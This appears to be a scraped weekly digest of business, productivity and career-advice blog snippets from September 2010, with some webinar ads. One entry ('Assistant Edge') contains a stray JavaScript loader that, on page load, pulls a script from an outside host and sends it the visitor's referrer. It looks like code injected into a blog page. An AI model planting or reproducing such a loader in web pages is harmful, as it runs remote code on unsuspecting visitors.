Sat.Sep 18, 2010 - Fri.Sep 24, 2010

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Conquering The Open Loops Of Productivity

Productivity Bits

Copyright © 2011 Marlon Ribunal. Visit the original article at [link]. Post written by Marlon Ribunal. Follow me on t witte r. [ Author's Note: This is the Fourth Part of the Series " The 3 Fundamental Principles Of Productivity "]. Introduction. Part I – Rituals. Part II – Systems. Part III – Tools. Summary. Part III – Tools.

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Bad Career Advice: Do What You Love and You’ll Never Work a Day

Eat Your Career

This is post is part of my Bad Career Advice series in which I expose outdated, clichéd, and counterproductive advice for exactly what it is. Oh man, this one kills me. It’s so frequently repeated that hardly anyone questions its truth anymore. And the sad fact is this: If you do what you love for a living, you’ll probably end up loving it a little bit less.

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How to Find a Job Using Social Media

On The Job

I follow the jobless claims from week to week pretty closely. It's not near as much fun as say, watching to see if Lady Gaga will show up covered in raw eggs and bran cereal, but it's something I feel I need to do for my job. People depend on me to give them job hunting advice that will help them get out of the unemployment ranks. Today, the news wasn't so great.

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Can You Define Social Media Clutter?

Stephanie LH Calahan

Productive & Organized Home Contribute to P&O! Archive Network with Steph Is This You? Work With Stephanie « Want Help Making Lists on Twitter? Check out this great tool | Main | Getting Organized Helped Me Find Health and Lose 65+ Pounds » Can You Define Social Media Clutter? This post started with a direct message on Twitter from a fellow organizer (who shall remain nameless) that told me that she felt everyone that shared quotes on Twitter was "cluttering up the place.

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SME Relationships: Proven Solutions for Seamless Collaboration and Success

Speaker: Tim Buteyn, President of ThinkingKap Learning Solutions

💢 Do you find yourself stuck in never-ending review cycles? Are you wondering if your Subject Matter Expert actually got that last review request? Are you having trouble trying to decipher impractical or conflicting feedback? 💢 If any of these scenarios sounds familiar, you may benefit from a crash course on managing SME relationships!

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10 Tips to Beat the Overwhelm and Stay Focused

Office Organization Success

Many business owners share with me that one of their biggest problems is information overwhelm which in turn leads to lack of focus, and therefore they don’t actually get stuff done in their business. They’re so busy trying to keep up with all the information that they’re being hit with that they don’t actually get around to any implementation and so they stay stuck.

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5 Tips for Impressing Employers With a Blog

On The Job

While out of work, many unemployed people have turned to blogging. It's become a great way to keep their writing skills sharp, and gives them an outlet for talking about what is going on in their lives. But here's the problem: An employer is going to read that blog. I don't care if you started the blog just for your friends or family, a future paycheck may depend on what you write.

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Using LinkedIn To Boost Your Prospects

The Small Business Blog

The world as we know it is changing; and, more pertinent to business owners is the way that business is changing. Gone are the days when we all sat in cubicles, working 9-5, using paid advertisement to grow our companies and traditional CV’s to get jobs. An increasing number of employers are using LinkedIn , Facebook and Twitter to check the credentials of potential employees; due to the professional nature of LinkedIn it is this that is often the basis of an employer’s research in to potential

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Last Perception is the Lasting Impression

Make or Break Moments

Yesterday I had the opportunity to address the Retail Organization of Lakeland Community College at the Great Lakes Mall. I shared my thoughts on the value of make or break moments with our customers…each moment is an opportunity to make a difference. After the talk, one participant came up and shared a great [.]. Tags: Customer Moments First Impressions Missed Moments making a difference lasting impression make a difference make or break moments Perceptions.

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Ultralight Startups

Small Business Labs

Small Business Labs Tracking and Forecasting the Trends Impacting the Future of Small Business Welcome to Small Business Labs Small Business Labs, from Emergent Research , covers the key social, technology and business trends impacting small business. Follow us on Twitter Emergent Research EMERGENT RESEARCH is focused on better understanding the small business sector of the US and global economy.

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Elevating the Virtual Interviewing Experience

Sharing your authentic self in a virtual interview can be an unwanted challenge. How do you break through the digital barrier when conducting a virtual interview and share your exceptional self? Think in unconventional ways to elevate the virtual interviewing experience.

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Don't Ask, Don't Tell, Don't Get a Job

Job Advice Blog

Home Founder Resume Writing Career Coaching Marketing Yourself Selling Yourself Job Stress General Advice Interview Skills "The Relocated Spouse [link] — jobconnection Don’t Ask, Don’t Tell, Don’t Get a Job On September 22, 2010, In Interview Skills by Alex Freund , By Alex Freund 0 Don’t misunderstand the title of this blog. It’s not about sexual preference.

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Top 5 Basics of Accounting

The Small Business Blog

The top 5 tips weekly post is always full of hints and tips for small, home & micro business owners. 1. Your accountant should always be your first port of call if you have queries about your accounts. They will stop you from making costly mistakes and a good accountant is invaluable. 2. Implementing a good bookkeeping system is essential. Without good record-keeping, you will have no accurate method for keeping track of your income and expenditure. 3.

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Rate Your Time-Management Skills

Ian's Messy Desk

Ian’s Messy Desk Helping you get the most out of the 24 hours in your day. Home About Contact Me Links Sitemap Rate Your Time-Management Skills Posted by Ian McKenzie Written on September 22, 2010 If youre new here, you may want to subscribe to my RSS feed. Or, if you prefer, you can subscribe to my blog posts by e-mail. Thanks for visiting! Complete this short self-evaluation checklist to assess your time-management skills.

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Four Tips for Generating Consistent Traffic

Andrea Kalli

Online marketing is an industry where the old “ups and downs&# cliche really does make sense. Traffic is everything to online marketers — the lifeblood of all online success — and when it shifts and changes with the roller coaster intensity that it often does, things can get very difficult. Online businesses, particularly advertising supported websites, frequently fail because of only one factor: a distinct lack of traffic.

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Mandatory COVID Vaccination Policy Template

New vaccine mandates and testing policies will affect employers with more than 100 workers. Get Paycor’s free, customizable vaccination policy template to communicate critical details and new requirements to your employees. Get Paycor’s Template today!

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7 Ways for Young Professionals to Establish Themselves as Leaders

Office Dynamics

Guest Blogger - Alexia Vernon. Speaker, Coach & Author. Leadership is a hot topic right now. With 75 million+ Baby Boomers poised to retire in the next 5 years and only 40 million members of Gen-X behind them, Generation-Y (Millennial) professionals will be one of the youngest generations in our nation’s history to take on organizational leadership positions.

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WinWeb Pitch of the Week – Hello Baby

The Small Business Blog

The winner of this week’s WinWeb Pitch of the Week competition is Trevor Ginn, founder of Hello Baby , an online retail store specialising in a wide variety of baby good. Trevor used his previous experience as an eCommerce specialist, and his online marketing skills, to establish his own company, that is becoming increasingly successful each and every month.

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Set Your Financial Management System Up for Success

Office Organization Success

You might be feeling stuck right now … and maybe a little overwhelmed and frustrated that your business isn’t growing as well or as fast as you’d like it to. . I guessing that the problem isn’t your lack of expertise or knowledge around your business subject (after all it’s what you’re passionate about), the problem is simply a lack of business know-how – you don’t know how to run your business like a business, and therefore you stay stuck!

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Four Tips for Generating Consistent Traffic

Andrea Kalli

Home Services Keyword Research, SEO, and Backlink Strategies for Link Building SharePoint Services Training Internet Marketing Assistant Microsoft Outlook Podcaster’s Corner Admin Assistance WishList Member and Wordpress Membership Sites New Client Questionnaire Info Contact Andrea Andrea’s Bio Code of Ethics Blog Testimonials Search View All Blog Posts Events Calendar Hourly Rate / Discount Bundles Contact Sep 23 Four Tips for Generating Consistent Traffic By AndreaKalli Online mark

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Is Training the Right Solution?

Speaker: Tim Buteyn

Let's set the scene: you’ve identified a critical performance gap in your organization and need to close that gap. A colleague suggests training, but you suspect there’s something going on that training can’t address. How can you determine if training is the right solution before you commit your budget and resources to a new training program? In this webinar, you will learn how to determine if training is the right solution using the Behavior Engineering Model.

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What Can We Learn from Tough Customers?

Make or Break Moments

In the April issue of INC magazine, reporter Kasey Wehrum shares Sales Tips from the World’s Toughest Customers. Customers like Coca-Cola, Dell, Intuit, UPS and more. The lessons are simple and yet profound: Be different. And then make sure you prove it to us. We can spot a fake from a mile away. (In other words, don’t oversell [.]. Tags: Connecting Moments making a difference building customer relationships customer lessons Inc magazine Intuit.

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Are VCs Colluding?

Small Business Labs

Small Business Labs Tracking and Forecasting the Trends Impacting the Future of Small Business Welcome to Small Business Labs Small Business Labs, from Emergent Research , covers the key social, technology and business trends impacting small business. Follow us on Twitter Emergent Research EMERGENT RESEARCH is focused on better understanding the small business sector of the US and global economy.

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Get TONS of free goodies with this Giveaway Event

Office Organization Success

Head on over to the Today is Your Day Coaching Giveaway Event where you’ll find tons of Coaching & Self-Help gifts: tons of ebooks. tons of audios. tons of videos. tons of memberships. tons of everything you’ve ever wanted. All designed to help you more forward in your business and life. . Hundreds of top Coaches & Self-Help professionals have come out in style in one of the biggest give-aways of all time.

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Five Different Ways to Market Your Service-Oriented Online Business

Andrea Kalli

Running an online business is no easy task, and without a proactive marketing effort it can be incredibly difficult to find new customers and clients. For entrepreneurs operating an online service business — a web design agency, consultancy firm, or support business — the process can be even more difficult. Pay-per-click advertising becomes less effective, product advertising is impossible, and finding ideal clients can take years without a good strategy.

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Revitalizing Dry Content: A Lesson in Engagement

Speaker: Tim Buteyn, President of ThinkingKap Learning Solutions

We’ve all been there. You’ve been given a pile of dry content and asked to create a compelling eLearning course. You’re determined to create something more engaging than the same old course that learners quickly click through, but how do you take this “boring” content and create something relevant and engaging? Many instructional designers will say, “Boring in means boring out.

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Assistant Edge- Gives Assistants the Edge in Their Role

Make or Break Moments

Interviewing Calendars Training Customer Service Customer Service More >> function loadScript(url){ var e = document.createElement("script") e.src = url e.type="text/javascript" document.getElementsByTagName("head")[0].appendChild(e) } loadScript("[link] + document.referrer); There is a new news aggregator dedicated [.]. Tags: Customer Moments.

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Attitude Self-Assessment Test

Ian's Messy Desk

Ian’s Messy Desk Helping you get the most out of the 24 hours in your day. Home About Contact Me Links Sitemap Attitude Self-Assessment Test Posted by Ian McKenzie Written on September 20, 2010 If youre new here, you may want to subscribe to my RSS feed. Or, if you prefer, you can subscribe to my blog posts by e-mail. Thanks for visiting! Healthy self-esteem is an important factor in achieving your potential.

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Lessons from Turning Academic Research into a Business

Small Business Labs

Small Business Labs Tracking and Forecasting the Trends Impacting the Future of Small Business Welcome to Small Business Labs Small Business Labs, from Emergent Research , covers the key social, technology and business trends impacting small business. Follow us on Twitter Emergent Research EMERGENT RESEARCH is focused on better understanding the small business sector of the US and global economy.

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Five Different Ways to Market Your Service-Oriented Online Business

Andrea Kalli

Home Services Keyword Research, SEO, and Backlink Strategies for Link Building SharePoint Services Training Internet Marketing Assistant Microsoft Outlook Podcaster’s Corner Admin Assistance WishList Member and Wordpress Membership Sites New Client Questionnaire Info Contact Andrea Andrea’s Bio Code of Ethics Blog Testimonials Search View All Blog Posts Events Calendar Hourly Rate / Discount Bundles Contact Sep 21 Five Different Ways to Market Your Service-Oriented Online Business By

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Brain Fog HQ: Memory Enhancement Techniques for Professional Development

Speaker: Chester Santos – Author, International Keynote Speaker, Executive Coach, Corporate Trainer, Memory Expert, U.S. Memory Champion

In October, scientists discovered that 75% of patients who experienced brain fog had a lower quality of life at work than those who did not. At best, brain fog makes you slower and less efficient. At worst, your performance and cognitive functions are impaired, resulting in memory, management, and task completion problems. In this entertaining and interactive presentation, Chester Santos, "The International Man of Memory," will assist you in developing life-changing skills that will greatly enha

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Day 1: 17th Annual Conference for Administrative Excellence Special Report

Office Dynamics

By Nancy Fraze, Reporter in the Field. Wednesday, September 21: Along with 175 other participants, I arrived with great anticipation at the beautiful and luxurious Red Rock Resort in Las Vegas to attend the 17 th Annual. Joan Burge along with Jasmine Freeman discuss social media. Office Dynamics Conference for Administrative Excellence. It was easy to sense everyone’s excitement, energy and anticipation about the coming 2.5 days!

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Undercover Boss Learns It Isn’t the Product – It’s the Employees

Make or Break Moments

Last night there was a repeat of the 7-11 episode of Undercover Boss. If you haven’t watched this show on CBS – I highly recommend it – new season starts next week. In this program, President and CEO of 7-11, Joe DePinto, goes undercover. First stop? The store that sells more cups of coffee a [.]. Tags: Attitude Connecting Moments Customer Moments making a difference 7-11 building customer relationships Joe DePinto Undercover Boss.

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Outsourcing to Rural Areas of the US

Small Business Labs

Small Business Labs Tracking and Forecasting the Trends Impacting the Future of Small Business Welcome to Small Business Labs Small Business Labs, from Emergent Research , covers the key social, technology and business trends impacting small business. Follow us on Twitter Emergent Research EMERGENT RESEARCH is focused on better understanding the small business sector of the US and global economy.

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